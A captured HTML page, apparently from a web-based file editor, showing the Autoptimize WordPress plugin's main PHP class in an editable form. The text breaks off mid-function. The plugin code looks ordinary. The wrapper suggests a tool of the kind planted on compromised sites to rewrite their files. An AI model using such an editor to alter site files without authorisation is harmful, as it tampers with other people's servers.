<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: autoptimizeMain.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
/**
 * Wraps base plugin logic/hooks and handles activation/deactivation/uninstall.
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

class autoptimizeMain
{
    const INIT_EARLIER_PRIORITY = -1;
    const DEFAULT_HOOK_PRIORITY = 2;

    /**
     * Version string.
     *
     * @var string
     */
    protected $version = null;

    /**
     * Main plugin filepath.
     * Used for activation/deactivation/uninstall hooks.
     *
     * @var string
     */
    protected $filepath = null;

    /**
     * Critical CSS base object
     *
     * @var object
     */
    protected $_criticalcss = null;

    /**
     * Constructor.
     *
     * @param string $version Version.
     * @param string $filepath Filepath. Needed for activation/deactivation/uninstall hooks.
     */
    public function __construct( $version, $filepath )
    {
        $this-&gt;version  = $version;
        $this-&gt;filepath = $filepath;
    }

    public function run()
    {
        $this-&gt;add_hooks();

        // Runs cache size checker.
        $checker = new autoptimizeCacheChecker();
        $checker-&gt;run();
    }

    protected function add_hooks()
    {
        if ( ! defined( 'AUTOPTIMIZE_SETUP_INITHOOK' ) ) {
            define( 'AUTOPTIMIZE_SETUP_INITHOOK', 'plugins_loaded' );
        }

        add_action( AUTOPTIMIZE_SETUP_INITHOOK, array( $this, 'setup' ) );
        add_action( AUTOPTIMIZE_SETUP_INITHOOK, array( $this, 'hook_page_cache_purge' ) );

        add_action( 'autoptimize_setup_done', array( $this, 'version_upgrades_check' ) );
        add_action( 'autoptimize_setup_done', array( $this, 'check_cache_and_run' ) );
        add_action( 'autoptimize_setup_done', array( $this, 'maybe_run_ao_compat' ), 10 );
        add_action( 'autoptimize_setup_done', array( $this, 'maybe_run_ao_extra' ), 15 );
        add_action( 'autoptimize_setup_done', array( $this, 'maybe_run_admin_only_trinkets' ), 20 );
        add_action( 'autoptimize_setup_done', array( $this, 'maybe_run_criticalcss' ), 11 );
        add_action( 'autoptimize_setup_done', array( $this, 'maybe_run_notfound_fallback' ), 10 );

        add_action( 'init', array( $this, 'load_textdomain' ) );

        if ( is_multisite() &amp;&amp; is_admin() ) {
            // Only if multisite and if in admin we want to check if we need to save options on network level.
            add_action( 'init', 'autoptimizeOptionWrapper::check_multisite_on_saving_options' );
        }

        // register uninstall &amp; deactivation hooks.
        register_uninstall_hook( $this-&gt;filepath, 'autoptimizeMain::on_uninstall' );
        register_deactivation_hook( $this-&gt;filepath, 'autoptimizeMain::on_deactivation' );
    }

    public function load_textdomain()
    {
        load_plugin_textdomain( 'autoptimize' );
    }

    public function setup()
    {
        // Do we gzip in php when caching or is the webserver doing it?
        define( 'AUTOPTIMIZE_CACHE_NOGZIP', (bool) autoptimizeOptionWrapper::get_option( 'autoptimize_cache_nogzip' ) );

        // These can be overridden by specifying them in wp-config.php or such.
        if ( ! defined( 'AUTOPTIMIZE_WP_CONTENT_NAME' ) ) {
            define( 'AUTOPTIMIZE_WP_CONTENT_NAME', '/' . wp_basename( WP_CONTENT_DIR ) );
        }
        if ( ! defined( 'AUTOPTIMIZE_CACHE_CHILD_DIR' ) ) {
            define( 'AUTOPTIMIZE_CACHE_CHILD_DIR', '/cache/autoptimize/' );
        }
        if ( ! defined( 'AUTOPTIMIZE_CACHEFILE_PREFIX' ) ) {
            define( 'AUTOPTIMIZE_CACHEFILE_PREFIX', 'autoptimize_' );
        }
        // Note: trailing slash is not optional!
        if ( ! defined( 'AUTOPTIMIZE_CACHE_DIR' ) ) {
            define( 'AUTOPTIMIZE_CACHE_DIR', autoptimizeCache::get_pathname() );
        }

        define( 'WP_ROOT_DIR', substr( WP_CONTENT_DIR, 0, strlen( WP_CONTENT_DIR ) - strlen( AUTOPTIMIZE_WP_CONTENT_NAME ) ) );

        if ( ! defined( 'AUTOPTIMIZE_WP_SITE_URL' ) ) {
            if ( function_exists( 'domain_mapping_siteurl' ) ) {
                define( 'AUTOPTIMIZE_WP_SITE_URL', domain_mapping_siteurl( get_current_blog_id() ) );
            } else {
                define( 'AUTOPTIMIZE_WP_SITE_URL', site_url() );
            }
        }
        if ( ! defined( 'AUTOPTIMIZE_WP_CONTENT_URL' ) ) {
            if ( function_exists( 'get_original_url' ) ) {
                define( 'AUTOPTIMIZE_WP_CONTENT_URL', str_replace( get_original_url( AUTOPTIMIZE_WP_SITE_URL ), AUTOPTIMIZE_WP_SITE_URL, content_url() ) );
            } else {
                define( 'AUTOPTIMIZE_WP_CONTENT_URL', content_url() );
            }
        }
        if ( ! defined( 'AUTOPTIMIZE_CACHE_URL' ) ) {
            if ( is_multisite() &amp;&amp; apply_filters( 'autoptimize_separate_blog_caches', true ) ) {
                $blog_id = get_current_blog_id();
                define( 'AUTOPTIMIZE_CACHE_URL', AUTOPTIMIZE_WP_CONTENT_URL . AUTOPTIMIZE_CACHE_CHILD_DIR . $blog_id . '/' );
            } else {
                define( 'AUTOPTIMIZE_CACHE_URL', AUTOPTIMIZE_WP_CONTENT_URL . AUTOPTIMIZE_CACHE_CHILD_DIR );
            }
        }
        if ( ! defined( 'AUTOPTIMIZE_WP_ROOT_URL' ) ) {
            define( 'AUTOPTIMIZE_WP_ROOT_URL', str_replace( AUTOPTIMIZE_WP_CONTENT_NAME, '', AUTOPTIMIZE_WP_CONTENT_URL ) );
        }
        if ( ! defined( 'AUTOPTIMIZE_HASH' ) ) {
            define( 'AUTOPTIMIZE_HASH', wp_hash( AUTOPTIMIZE_CACHE_URL ) );
        }
        if ( ! defined( 'AUTOPTIMIZE_SITE_DOMAIN' ) ) {
            define( 'AUTOPTIMIZE_SITE_DOMAIN', parse_url( AUTOPTIMIZE_WP_SITE_URL, PHP_URL_HOST ) );
        }

        // Multibyte-capable string replacements are available with a filter.
        // Also requires 'mbstring' extension.
        $with_mbstring = apply_filters( 'autoptimize_filter_main_use_mbstring', false );
        if ( $with_mbstring ) {
            autoptimizeUtils::mbstring_available( \extension_loaded( 'mbstring' ) );
        } else {
            autoptimizeUtils::mbstring_available( false );
        }

        do_action( 'autoptimize_setup_done' );
    }

    /**
     * Checks if there's a need to upgrade/update options and whatnot,
     * in which case we might need to do stuff and flush the cache
     * to avoid old versions of aggregated files lingering around.
     */
    public function version_upgrades_check()
    {
        autoptimizeVersionUpdatesHandler::check_installed_and_update( $this-&gt;version );
    }

    public function check_cache_and_run()
    {
        if ( autoptimizeCache::cacheavail() ) {
            $conf = autoptimizeConfig::instance();
            if ( $conf-&gt;get( 'autoptimize_html' ) || $conf-&gt;get( 'autoptimize_js' ) || $conf-&gt;get( 'autoptimize_css' ) || autoptimizeImages::imgopt_active() || autoptimizeImages::should_lazyload_wrapper() ) {
                if ( ! defined( 'AUTOPTIMIZE_NOBUFFER_OPTIMIZE' ) ) {
                    // Hook into WordPress frontend.
                    if ( defined( 'AUTOPTIMIZE_INIT_EARLIER' ) ) {
                        add_action(
                            'init',
                            array( $this, 'start_buffering' ),
                            self::INIT_EARLIER_PRIORITY
                        );
                    } else {
                        if ( ! defined( 'AUTOPTIMIZE_HOOK_INTO' ) ) {
                            define( 'AUTOPTIMIZE_HOOK_INTO', 'template_redirect' );
                        }
                        add_action(
                            constant( 'AUTOPTIMIZE_HOOK_INTO' ),
                            array( $this, 'start_buffering' ),
                            self::DEFAULT_HOOK_PRIORITY
                        );
                    }
                }

                // And disable Jetpack's site accelerator if JS or CSS opt. are active.
                if ( class_exists( 'Jetpack' ) &amp;&amp; apply_filters( 'autoptimize_filter_main_disable_jetpack_cdn', true ) &amp;&amp; ( $conf-&gt;get( 'autoptimize_js' ) || $conf-&gt;get( 'autoptimize_css' ) ) ) {
                    add_filter( 'jetpack_force_disable_site_accelerator', '__return_true' );
                }

                // Add &quot;no cache found&quot; notice.
                add_action( 'admin_notices', 'autoptimizeMain::notice_nopagecache', 99 );
                add_action( 'admin_notices', 'autoptimizeMain::notice_potential_conflict', 99 );
            }
        } else {
            add_action( 'admin_notices', 'autoptimizeMain::notice_cache_unavailable' );
        }
    }

    public function maybe_run_ao_extra()
    {
        if ( apply_filters( 'autoptimize_filter_extra_activate', true ) ) {
            $ao_imgopt = new autoptimizeImages();
            $ao_imgopt-&gt;run();
            $ao_extra = new autoptimizeExtra();
            $ao_extra-&gt;run();

            // And show the imgopt notice.
            add_action( 'admin_notices', 'autoptimizeMain::notice_plug_imgopt' );
            add_action( 'admin_notices', 'autoptimizeMain::notice_imgopt_issue' );
        }
    }

    public function maybe_run_admin_only_trinkets()
    {
        // Loads partners tab and exit survey code if in admin (and not in admin-ajax.php)!
        if ( autoptimizeConfig::is_admin_and_not_ajax() ) {
            new autoptimizePartners();
            new autoptimizeExitSurvey();
        }
    }

    public function criticalcss()
    {
        if ( apply_filters( 'autoptimize_filter_criticalcss_active', true ) &amp;&amp; ! autoptimizeUtils::is_plugin_active( 'autoptimize-criticalcss/ao_criticss_aas.php' ) ) {
            return $this-&gt;_criticalcss;
        } else {
            return false;
        }
    }

    public function maybe_run_criticalcss()
    {
        // Loads criticalcss if the filter returns true &amp; old power-up is not active.
        if ( apply_filters( 'autoptimize_filter_criticalcss_active', true ) &amp;&amp; ! autoptimizeUtils::is_plugin_active( 'autoptimize-criticalcss/ao_criticss_aas.php' ) ) {
            $this-&gt;_criticalcss = new autoptimizeCriticalCSSBase();
            $this-&gt;_criticalcss-&gt;setup();
            $this-&gt;_criticalcss-&gt;load_requires();
        }
    }

    public function maybe_run_notfound_fallback()
    {
        if ( autoptimizeCache::do_fallback() ) {
            add_action( 'template_redirect', array( 'autoptimizeCache', 'wordpress_notfound_fallback' ) );
        }
    }

    public function maybe_run_ao_compat()
    {
        // Condtionally loads the compatibility-class to ensure more out-of-the-box compatibility with big players.
        $_run_compat = true;

        if ( autoptimizeOptionWrapper::get_option( 'autoptimize_installed_before_compatibility', false ) ) {
            // If AO was already running before Compatibility logic was added, don't run compat by default
            // because it can be assumed everything works and we want to avoid (perf) regressions that
            // could occur due to compatibility code.
            $_run_compat = false;
        }

        if ( apply_filters( 'autoptimize_filter_init_compatibility', $_run_compat ) ) {
             new autoptimizeCompatibility();
        }
    }

    public function hook_page_cache_purge()
    {
        // hook into a collection of page cache purge actions if filter allows.
        if ( apply_filters( 'autoptimize_filter_main_hookpagecachepurge', true ) ) {
            $page_cache_purge_actions = array(
                'after_rocket_clean_domain', // exists.
                'hyper_cache_purged', // Stefano confirmed this will be added.
                'w3tc_flush_posts', // exits.
                'w3tc_flush_all', // exists.
                'ce_action_cache_cleared', // Sven confirmed this will be added.
                'aoce_action_cache_cleared', // Some other cache enabler.
                'comet_cache_wipe_cache', // still to be confirmed by Raam.
                'wp_cache_cleared', // cfr. https://github.com/Automattic/wp-super-cache/pull/537.
                'wpfc_delete_cache', // Emre confirmed this will be added this.
                'swift_performance_after_clear_all_cache', // swift perf. yeah!
                'wpo_cache_flush', // wp-optimize.
                'rt_nginx_helper_after_fastcgi_purge_all', // nginx helper.
            );
            $page_cache_purge_actions = apply_filters( 'autoptimize_filter_main_pagecachepurgeactions', $page_cache_purge_actions );
            foreach ( $page_cache_purge_actions as $purge_action ) {
                add_action( $purge_action, 'autoptimizeCache::clearall_actionless' );
            }
        }
    }

    /**
     * Setup output buffering if needed.
     *
     * @return void
     */
    public function start_buffering()
    {
        if ( $this-&gt;should_buffer() ) {

            // Load speedupper conditionally (true by default).
            if ( apply_filters( 'autoptimize_filter_speedupper', true ) ) {
                $ao_speedupper = new autoptimizeSpeedupper();
            }

            $conf = autoptimizeConfig::instance();

            if ( $conf-&gt;get( 'autoptimize_js' ) ) {
                if ( ! defined( 'CONCATENATE_SCRIPTS' ) ) {
                    define( 'CONCATENATE_SCRIPTS', false );
                }
                if ( ! defined( 'COMPRESS_SCRIPTS' ) ) {
                    define( 'COMPRESS_SCRIPTS', false );
                }
            }

            if ( $conf-&gt;get( 'autoptimize_css' ) ) {
                if ( ! defined( 'COMPRESS_CSS' ) ) {
                    define( 'COMPRESS_CSS', false );
                }
            }

            if ( apply_filters( 'autoptimize_filter_obkiller', false ) ) {
                while ( ob_get_level() &gt; 0 ) {
                    ob_end_clean();
                }
            }

            // Now, start the real thing!
            ob_start( array( $this, 'end_buffering' ) );
        }
    }

    /**
     * Returns true if all the conditions to start output buffering are satisfied.
     *
     * @param bool $doing_tests Allows overriding the optimization of only
     *                          deciding once per request (for use in tests).
     * @return bool
     */
    public static function should_buffer( $doing_tests = false )
    {
        static $do_buffering = null;

        // Only check once in case we're called multiple times by others but
        // still allows multiple calls when doing tests.
        if ( null === $do_buffering || $doing_tests ) {

            $ao_noptimize = false;

            // Checking for DONOTMINIFY constant as used by e.g. WooCommerce POS.
            if ( defined( 'DONOTMINIFY' ) &amp;&amp; ( constant( 'DONOTMINIFY' ) === true || constant( 'DONOTMINIFY' ) === 'true' ) ) {
                $ao_noptimize = true;
            }

            // Skip checking query strings if they're disabled.
            if ( apply_filters( 'autoptimize_filter_honor_qs_noptimize', true ) ) {
                // Check for `ao_noptimize` (and other) keys in the query string
                // to get non-optimized page for debugging.
                $keys = array(
                    'ao_noptimize',
                    'ao_noptirocket',
                );
                foreach ( $keys as $key ) {
                    if ( array_key_exists( $key, $_GET ) &amp;&amp; '1' === $_GET[ $key ] ) {
                        $ao_noptimize = true;
                        break;
                    }
                }
            }

            // If setting says not to optimize logged in user and user is logged in...
            if ( false === $ao_noptimize &amp;&amp; 'on' !== autoptimizeOptionWrapper::get_option( 'autoptimize_optimize_logged', 'on' ) &amp;&amp; is_user_logged_in() &amp;&amp; current_user_can( 'edit_posts' ) ) {
                $ao_noptimize = true;
            }

            // If setting says not to optimize cart/checkout.
            if ( false === $ao_noptimize &amp;&amp; 'on' !== autoptimizeOptionWrapper::get_option( 'autoptimize_optimize_checkout', 'off' ) ) {
                // Checking for woocommerce, easy digital downloads and wp ecommerce...
                foreach ( array( 'is_checkout', 'is_cart', 'is_account_page', 'edd_is_checkout', 'wpsc_is_cart', 'wpsc_is_checkout' ) as $func ) {
                    if ( function_exists( $func ) &amp;&amp; $func() ) {
                        $ao_noptimize = true;
                        break;
                    }
                }
            }

            // Misc. querystring paramaters that will stop AO from doing optimizations (pagebuilders +
            // 2 generic parameters that could/ should become standard between optimization plugins?).
            if ( false === $ao_noptimize ) {
                $_qs_showstoppers = array( 'no_cache', 'no_optimize', 'tve', 'elementor-preview', 'fl_builder', 'vc_action', 'et_fb', 'bt-beaverbuildertheme', 'ct_builder', 'fb-edit', 'siteorigin_panels_live_editor', 'preview', 'td_action' );

                // doing Jonathan a quick favor to allow correct unused CSS generation ;-) .
                if ( apply_filters( 'autoptimize_filter_main_showstoppers_do_wp_rocket_a_favor', true ) ) {
                    $_qs_showstoppers[] = 'nowprocket';
                }

                foreach ( $_qs_showstoppers as $_showstopper ) {
                    if ( array_key_exists( $_showstopper, $_GET ) ) {
                        $ao_noptimize = true;
                        break;
                    }
                }
            }

            // Also honor PageSpeed=off parameter as used by mod_pagespeed, in use by some pagebuilders,
            // see https://www.modpagespeed.com/doc/experiment#ModPagespeed for info on that.
            if ( false === $ao_noptimize &amp;&amp; array_key_exists( 'PageSpeed', $_GET ) &amp;&amp; 'off' === $_GET['PageSpeed'] ) {
                $ao_noptimize = true;
            }

            // If page/ post check post_meta to see if optimize is off.
            if ( false === autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_optimize' ) ) {
                $ao_noptimize = true;
            }

            // And finally allows blocking of autoptimization on your own terms regardless of above decisions.
            $ao_noptimize = (bool) apply_filters( 'autoptimize_filter_noptimize', $ao_noptimize );

            // Check for site being previewed in the Customizer (available since WP 4.0).
            $is_customize_preview = false;
            if ( function_exists( 'is_customize_preview' ) &amp;&amp; is_customize_preview() ) {
                $is_customize_preview = is_customize_preview();
            }
            
            // explicitly disable when is_login exists and is true but don't use it direclty because older versions of WordPress don't have that yet.
            $is_login = false;
            if ( function_exists( 'is_login' ) &amp;&amp; true === is_login() ) {
                $is_login = true;
            }

            /**
             * We only buffer the frontend requests (and then only if not a feed
             * and not turned off explicitly and not when being previewed in Customizer)!
             * NOTE: Tests throw a notice here due to is_feed() being called
             * while the main query hasn't been ran yet. Thats why we use
             * AUTOPTIMIZE_INIT_EARLIER in tests.
             */
            $do_buffering = ( ! is_admin() &amp;&amp; ! is_feed() &amp;&amp; ! is_embed() &amp;&amp; ! $is_login &amp;&amp; ! $is_customize_preview &amp;&amp; ! $ao_noptimize );
        }

        return $do_buffering;
    }

    /**
     * Returns true if given markup is considered valid/processable/optimizable.
     *
     * @param string $content Markup.
     *
     * @return bool
     */
    public function is_valid_buffer( $content )
    {
        // Defaults to true.
        $valid = true;

        $has_no_html_tag    = ( false === stripos( $content, '&lt;html' ) );
        $has_xsl_stylesheet = ( false !== stripos( $content, '&lt;xsl:stylesheet' ) || false !== stripos( $content, '&lt;?xml-stylesheet' ) );
        $has_html5_doctype  = ( preg_match( '/^&lt;!DOCTYPE.+html&gt;/i', ltrim( $content ) ) &gt; 0 );
        $has_noptimize_page = ( false !== stripos( $content, '&lt;!-- noptimize-page --&gt;' ) );

        if ( $has_no_html_tag ) {
            // Can't be valid amp markup without an html tag preceding it.
            $is_amp_markup = false;
        } else {
            $is_amp_markup = self::is_amp_markup( $content );
        }

        // If it's not html, or if it's amp or contains xsl stylesheets we don't touch it.
        if ( $has_no_html_tag &amp;&amp; ! $has_html5_doctype || $is_amp_markup || $has_xsl_stylesheet || $has_noptimize_page ) {
            $valid = false;
        }

        return $valid;
    }

    /**
     * Returns true if given $content is considered to be AMP markup.
     * This is far from actual validation against AMP spec, but it'll do for now.
     *
     * @param string $content Markup to check.
     *
     * @return bool
     */
    public static function is_amp_markup( $content )
    {
        // Short-circuit if the page is already AMP from the start.
        if (
            preg_match(
                sprintf(
                    '#^(?:&lt;!.*?&gt;|\s+)*+&lt;html(?=\s)[^&gt;]*?\s(%1$s|%2$s|%3$s)(\s|=|&gt;)#is',
                    'amp',
                    &quot;\xE2\x9A\xA1&quot;, // From \AmpProject\Attribute::AMP_EMOJI.
                    &quot;\xE2\x9A\xA1\xEF\xB8\x8F&quot; // From \AmpProject\Attribute::AMP_EMOJI_ALT, per https://github.com/ampproject/amphtml/issues/25990.
                ),
                $content
            )
        ) {
            return true;
        }

        // Or else short-circuit if the AMP plugin will be processing the output to be an AMP page.
        if ( function_exists( 'amp_is_request' ) ) {
            return amp_is_request(); // For AMP plugin v2.0+.
        } elseif ( function_exists( 'is_amp_endpoint' ) ) {
            return is_amp_endpoint(); // For older/other AMP plugins (still supported in 2.0 as an alias).
        }

        return false;
    }

    /**
     * Processes/optimizes the output-buffered content and returns it.
     * If the content is not processable, it is returned unmodified.
     *
     * @param string $content Buffered content.
     *
     * @return string
     */
    public function end_buffering( $content )
    {
        // Bail early without modifying anything if we can't handle the content.
        if ( ! $this-&gt;is_valid_buffer( $content ) ) {
            return $content;
        }

        $conf = autoptimizeConfig::instance();

        // Determine what needs to be ran.
        $classes = array();
        if ( $conf-&gt;get( 'autoptimize_js' ) ) {
            $classes[] = 'autoptimizeScripts';
        }
        if ( $conf-&gt;get( 'autoptimize_css' ) ) {
            $classes[] = 'autoptimizeStyles';
        }
        if ( $conf-&gt;get( 'autoptimize_html' ) ) {
            $classes[] = 'autoptimizeHTML';
        }

        $classoptions = array(
            'autoptimizeScripts' =&gt; array(
                'aggregate'           =&gt; $conf-&gt;get( 'autoptimize_js_aggregate' ),
                'defer_not_aggregate' =&gt; $conf-&gt;get( 'autoptimize_js_defer_not_aggregate' ),
                'defer_inline'        =&gt; $conf-&gt;get( 'autoptimize_js_defer_inline' ),
                'justhead'            =&gt; $conf-&gt;get( 'autoptimize_js_justhead' ),
                'forcehead'           =&gt; $conf-&gt;get( 'autoptimize_js_forcehead' ),
                'trycatch'            =&gt; $conf-&gt;get( 'autoptimize_js_trycatch' ),
                'js_exclude'          =&gt; $conf-&gt;get( 'autoptimize_js_exclude' ),
                'cdn_url'             =&gt; $conf-&gt;get( 'autoptimize_cdn_url' ),
                'include_inline'      =&gt; $conf-&gt;get( 'autoptimize_js_include_inline' ),
                'minify_excluded'     =&gt; $conf-&gt;get( 'autoptimize_minify_excluded' ),
            ),
            'autoptimizeStyles'  =&gt; array(
                'aggregate'       =&gt; $conf-&gt;get( 'autoptimize_css_aggregate' ),
                'justhead'        =&gt; $conf-&gt;get( 'autoptimize_css_justhead' ),
                'datauris'        =&gt; $conf-&gt;get( 'autoptimize_css_datauris' ),
                'defer'           =&gt; $conf-&gt;get( 'autoptimize_css_defer' ),
                'defer_inline'    =&gt; $conf-&gt;get( 'autoptimize_css_defer_inline' ),
                'inline'          =&gt; $conf-&gt;get( 'autoptimize_css_inline' ),
                'css_exclude'     =&gt; $conf-&gt;get( 'autoptimize_css_exclude' ),
                'cdn_url'         =&gt; $conf-&gt;get( 'autoptimize_cdn_url' ),
                'include_inline'  =&gt; $conf-&gt;get( 'autoptimize_css_include_inline' ),
                'nogooglefont'    =&gt; $conf-&gt;get( 'autoptimize_css_nogooglefont' ),
                'minify_excluded' =&gt; $conf-&gt;get( 'autoptimize_minify_excluded' ),
            ),
            'autoptimizeHTML'    =&gt; array(
                'keepcomments'  =&gt; $conf-&gt;get( 'autoptimize_html_keepcomments' ),
                'minify_inline' =&gt; $conf-&gt;get( 'autoptimize_html_minify_inline' ),
            ),
        );

        $content = apply_filters( 'autoptimize_filter_html_before_minify', $content );

        // Run the classes!
        foreach ( $classes as $name ) {
            $instance = new $name( $content );
            if ( $instance-&gt;read( $classoptions[ $name ] ) ) {
                $instance-&gt;minify();
                $instance-&gt;cache();
                $content = $instance-&gt;getcontent();
            }
            unset( $instance );
        }

        $content = apply_filters( 'autoptimize_html_after_minify', $content );

        return $content;
    }

    public static function autoptimize_nobuffer_optimize( $html_in ) {
        $html_out = $html_in;

        if ( apply_filters( 'autoptimize_filter_speedupper', true ) ) {
            $ao_speedupper = new autoptimizeSpeedupper();
        }

        $self = new self( AUTOPTIMIZE_PLUGIN_VERSION, AUTOPTIMIZE_PLUGIN_FILE );
        if ( $self-&gt;should_buffer() ) {
            $html_out = $self-&gt;end_buffering( $html_in );
        }
        return $html_out;
    }

    public static function on_uninstall()
    {
        // clear the cache.
        autoptimizeCache::clearall();

        // remove postmeta if active.
        if ( autoptimizeConfig::is_ao_meta_settings_active() ) {
            delete_post_meta_by_key( 'ao_post_optimize' );
        }

        // remove all options.
        $delete_options = array(
            'autoptimize_cache_clean',
            'autoptimize_cache_nogzip',
            'autoptimize_css',
            'autoptimize_css_aggregate',
            'autoptimize_css_datauris',
            'autoptimize_css_justhead',
            'autoptimize_css_defer',
            'autoptimize_css_defer_inline',
            'autoptimize_css_inline',
            'autoptimize_css_exclude',
            'autoptimize_html',
            'autoptimize_html_keepcomments',
            'autoptimize_html_minify_inline',
            'autoptimize_enable_site_config',
            'autoptimize_enable_meta_ao_settings',
            'autoptimize_js',
            'autoptimize_js_aggregate',
            'autoptimize_js_defer_not_aggregate',
            'autoptimize_js_defer_inline',
            'autoptimize_js_exclude',
            'autoptimize_js_forcehead',
            'autoptimize_js_justhead',
            'autoptimize_js_trycatch',
            'autoptimize_version',
            'autoptimize_show_adv',
            'autoptimize_cdn_url',
            'autoptimize_cachesize_notice',
            'autoptimize_css_include_inline',
            'autoptimize_js_include_inline',
            'autoptimize_optimize_logged',
            'autoptimize_optimize_checkout',
            'autoptimize_extra_settings',
            'autoptimize_service_availablity',
            'autoptimize_imgopt_provider_stat',
            'autoptimize_imgopt_launched',
            'autoptimize_imgopt_settings',
            'autoptimize_minify_excluded',
            'autoptimize_cache_fallback',
            'autoptimize_ccss_rules',
            'autoptimize_ccss_additional',
            'autoptimize_ccss_queue',
            'autoptimize_ccss_viewport',
            'autoptimize_ccss_finclude',
            'autoptimize_ccss_rlimit',
            'autoptimize_ccss_rtimelimit',
            'autoptimize_ccss_noptimize',
            'autoptimize_ccss_debug',
            'autoptimize_ccss_key',
            'autoptimize_ccss_keyst',
            'autoptimize_ccss_version',
            'autoptimize_ccss_loggedin',
            'autoptimize_ccss_forcepath',
            'autoptimize_ccss_deferjquery',
            'autoptimize_ccss_domain',
            'autoptimize_ccss_unloadccss',
            'autoptimize_installed_before_compatibility',
        );

        if ( ! is_multisite() ) {
            foreach ( $delete_options as $del_opt ) {
                delete_option( $del_opt );
            }
            autoptimizeMain::remove_cronjobs();
        } else {
            global $wpdb;
            $blog_ids         = $wpdb-&gt;get_col( &quot;SELECT blog_id FROM $wpdb-&gt;blogs&quot; );
            $original_blog_id = get_current_blog_id();
            foreach ( $blog_ids as $blog_id ) {
                switch_to_blog( $blog_id );
                foreach ( $delete_options as $del_opt ) {
                    delete_option( $del_opt );
                }
                autoptimizeMain::remove_cronjobs();
            }
            switch_to_blog( $original_blog_id );
        }

        // Remove AO CCSS cached files and directory.
        $ao_ccss_dir = WP_CONTENT_DIR . '/uploads/ao_ccss/';
        if ( file_exists( $ao_ccss_dir ) &amp;&amp; is_dir( $ao_ccss_dir ) ) {
            // fixme: should check for subdirs when in multisite and remove contents of those as well.
            array_map( 'unlink', glob( $ao_ccss_dir . '*.{css,html,json,log,zip,lock}', GLOB_BRACE ) );
            rmdir( $ao_ccss_dir );
        }

        // Remove 404-handler (although that should have been removed in clearall already).
        $_fallback_php = trailingslashit( WP_CONTENT_DIR ) . 'autoptimize_404_handler.php';
        if ( file_exists( $_fallback_php ) ) {
            unlink( $_fallback_php );
        }
    }

    public static function on_deactivation()
    {
        if ( is_multisite() &amp;&amp; is_network_admin() ) {
            global $wpdb;
            $blog_ids         = $wpdb-&gt;get_col( &quot;SELECT blog_id FROM $wpdb-&gt;blogs&quot; );
            $original_blog_id = get_current_blog_id();
            foreach ( $blog_ids as $blog_id ) {
                switch_to_blog( $blog_id );
                autoptimizeMain::remove_cronjobs();
            }
            switch_to_blog( $original_blog_id );
        } else {
            autoptimizeMain::remove_cronjobs();
        }
        autoptimizeCache::clearall();
    }

    public static function remove_cronjobs() {
        // Remove scheduled events.
        foreach ( array( 'ao_cachechecker', 'ao_ccss_queue', 'ao_ccss_maintenance', 'ao_ccss_keychecker' ) as $_event ) {
            if ( wp_get_schedule( $_event ) ) {
                wp_clear_scheduled_hook( $_event );
            }
        }
    }

    public static function notice_cache_unavailable()
    {
        echo '&lt;div class=&quot;error&quot;&gt;&lt;p&gt;';
        // Translators: %s is the cache directory location.
        printf( __( 'Autoptimize cannot write to the cache directory (%s), please fix to enable CSS/ JS optimization!', 'autoptimize' ), AUTOPTIMIZE_CACHE_DIR );
        echo '&lt;/p&gt;&lt;/div&gt;';
    }

    public static function notice_installed()
    {
        echo '&lt;div class=&quot;updated&quot;&gt;&lt;p&gt;';
        printf( __( 'Thank you for installing and activating Autoptimize. Please configure it under %1$sSettings -&gt; Autoptimize%2$s to start improving your site\'s performance.', 'autoptimize' ), '&lt;a href=&quot;options-general.php?page=autoptimize&quot;&gt;', '&lt;/a&gt;' );
        echo '&lt;/p&gt;&lt;/div&gt;';
    }

    public static function notice_updated()
    {
        echo '&lt;div class=&quot;updated&quot;&gt;&lt;p&gt;';
        _e( 'Autoptimize has just been updated. Please &lt;strong&gt;test your site now&lt;/strong&gt; and adapt Autoptimize config if needed.', 'autoptimize' );
        echo '&lt;/p&gt;&lt;/div&gt;';
    }

    public static function notice_plug_imgopt()
    {
        // Translators: the URL added points to the Autopmize Extra settings.
        $_ao_imgopt_plug_notice      = sprintf( __( 'Did you know that Autoptimize offers on-the-fly image optimization (with support for WebP and AVIF) and CDN via ShortPixel? Check out the %1$sAutoptimize Image settings%2$s to enable this option.', 'autoptimize' ), '&lt;a href=&quot;options-general.php?page=autoptimize_imgopt&quot;&gt;', '&lt;/a&gt;' );
        $_ao_imgopt_plug_notice      = apply_filters( 'autoptimize_filter_main_imgopt_plug_notice', $_ao_imgopt_plug_notice );
        $_ao_imgopt_launch_ok        = autoptimizeImages::launch_ok_wrapper();
        $_ao_imgopt_plug_dismissible = 'ao-img-opt-plug-123';
        $_ao_imgopt_active           = autoptimizeImages::imgopt_active();
        $_is_ao_settings_page        = autoptimizeUtils::is_ao_settings();

        if ( current_user_can( 'manage_options' ) &amp;&amp; ! defined( 'AO_PRO_VERSION' ) &amp;&amp; $_is_ao_settings_page &amp;&amp; '' !== $_ao_imgopt_plug_notice &amp;&amp; ! $_ao_imgopt_active &amp;&amp; $_ao_imgopt_launch_ok &amp;&amp; PAnD::is_admin_notice_active( $_ao_imgopt_plug_dismissible ) ) {
            echo '&lt;div class=&quot;notice notice-info is-dismissible&quot; data-dismissible=&quot;' . $_ao_imgopt_plug_dismissible . '&quot;&gt;&lt;p&gt;';
            echo $_ao_imgopt_plug_notice;
            echo '&lt;/p&gt;&lt;/div&gt;';
        }
    }

    public static function notice_imgopt_issue()
    {
        // Translators: the URL added points to the Autopmize Extra settings.
        $_ao_imgopt_issue_notice      = sprintf( __( 'Shortpixel reports it cannot always reach your site, which might mean some images are not optimized. You can %1$sread more about why this happens and how you can fix that problem here%2$s.', 'autoptimize' ), '&lt;a href=&quot;https://shortpixel.com/knowledge-base/article/469-i-received-an-e-mail-that-says-some-of-my-images-are-not-accessible-what-should-i-do#fullarticle&quot; target=&quot;_blank&quot;&gt;', '&lt;/a&gt;' );
        $_ao_imgopt_issue_notice      = apply_filters( 'autoptimize_filter_main_imgopt_issue_notice', $_ao_imgopt_issue_notice );
        $_ao_imgopt_issue_dismissible = 'ao-img-opt-issue-14';
        $_ao_imgopt_active            = autoptimizeImages::imgopt_active();
        $_ao_imgopt_status            = autoptimizeOptionWrapper::get_option( 'autoptimize_imgopt_provider_stat', '' );

